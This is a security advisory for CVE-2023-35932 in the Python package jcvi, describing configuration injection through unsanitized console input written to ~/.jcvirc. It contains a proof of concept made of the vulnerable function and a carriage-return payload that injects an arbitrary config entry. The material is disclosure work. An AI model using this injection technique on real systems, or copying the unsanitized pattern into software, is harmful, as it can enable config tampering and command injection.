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jcvi vulnerable to Configuration Injection due to unsanitized user input

High severity GitHub Reviewed Published Jun 23, 2023 in tanghaibao/jcvi • Updated Nov 9, 2023

Package

pip jcvi (pip)

Affected versions

<= 1.3.5

Patched versions

None

Description

Summary

A configuration injection happens when user input is considered by the application in an unsanitized format and can reach the configuration file. A malicious user may craft a special payload that may lead to a command injection.

PoC

The vulnerable code snippet is /jcvi/apps/base.py#LL2227C1-L2228C41. Under some circumstances a user input is retrieved and stored within the fullpath variable which reaches the configuration file ~/.jcvirc.

        fullpath = input(msg).strip()
        config.set(PATH, name, fullpath)

I ripped a part of the codebase into a runnable PoC as follows. All the PoC does is call the getpath() function under some circumstances.

from configparser import (
    ConfigParser,
    RawConfigParser,
    NoOptionError,
    NoSectionError,
    ParsingError,
)

import errno
import os
import sys
import os.path as op
import shutil
import signal
import sys
import logging


def is_exe(fpath):
    return op.isfile(fpath) and os.access(fpath, os.X_OK)


def which(program):
    """
    Emulates the unix which command.

    >>> which("cat")
    "/bin/cat"
    >>> which("nosuchprogram")
    """
    fpath, fname = op.split(program)
    if fpath:
        if is_exe(program):
            return program
    else:
        for path in os.environ["PATH"].split(os.pathsep):
            exe_file = op.join(path, program)
            if is_exe(exe_file):
                return exe_file

    return None


def getpath(cmd, name=None, url=None, cfg="~/.jcvirc", warn="exit"):
    """
    Get install locations of common binaries
    First, check ~/.jcvirc file to get the full path
    If not present, ask on the console and store
    """
    p = which(cmd)  # if in PATH, just returns it
    if p:
        return p

    PATH = "Path"
    config = RawConfigParser()
    cfg = op.expanduser(cfg)
    changed = False
    if op.exists(cfg):
        config.read(cfg)

    assert name is not None, "Need a program name"

    try:
        fullpath = config.get(PATH, name)
    except NoSectionError:
        config.add_section(PATH)
        changed = True

    try:
        fullpath = config.get(PATH, name)
    except NoOptionError:
        msg = "=== Configure path for {0} ===\n".format(name, cfg)
        if url:
            msg += "URL: {0}\n".format(url)
        msg += "[Directory that contains `{0}`]: ".format(cmd)
        fullpath = input(msg).strip()
        config.set(PATH, name, fullpath)
        changed = True

    path = op.join(op.expanduser(fullpath), cmd)
    if warn == "exit":
        try:
            assert is_exe(path), "***ERROR: Cannot execute binary `{0}`. ".format(path)
        except AssertionError as e:
            sys.exit("{0!s}Please verify and rerun.".format(e))

    if changed:
        configfile = open(cfg, "w")
        config.write(configfile)
        logging.debug("Configuration written to `{0}`.".format(cfg))

    return path


# Call to getpath
path = getpath("not-part-of-path", name="CLUSTALW2", warn="warn")
print(path)

To run the PoC, you need to remove the config file ~/.jcvirc to emulate the first run,

# Run the PoC with the payload
echo -e "e\rvvvvvvvv = zzzzzzzz\n" | python3 poc.py

image

You can notice the random key/value characters vvvvvvvv = zzzzzzzz were successfully injected.

Impact

The impact of a configuration injection may vary. Under some conditions, it may lead to command injection if there is for instance shell code execution from the configuration file values.

References

@tanghaibao tanghaibao published to tanghaibao/jcvi Jun 23, 2023
Published to the GitHub Advisory Database Jun 23, 2023
Reviewed Jun 23, 2023
Published by the National Vulnerability Database Jun 23, 2023
Last updated Nov 9, 2023

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
High
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
Low

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:L

EPSS score

0.129%
(49th percentile)

CVE ID

CVE-2023-35932

GHSA ID

GHSA-x49m-3cw7-gq5q

Source code

Credits

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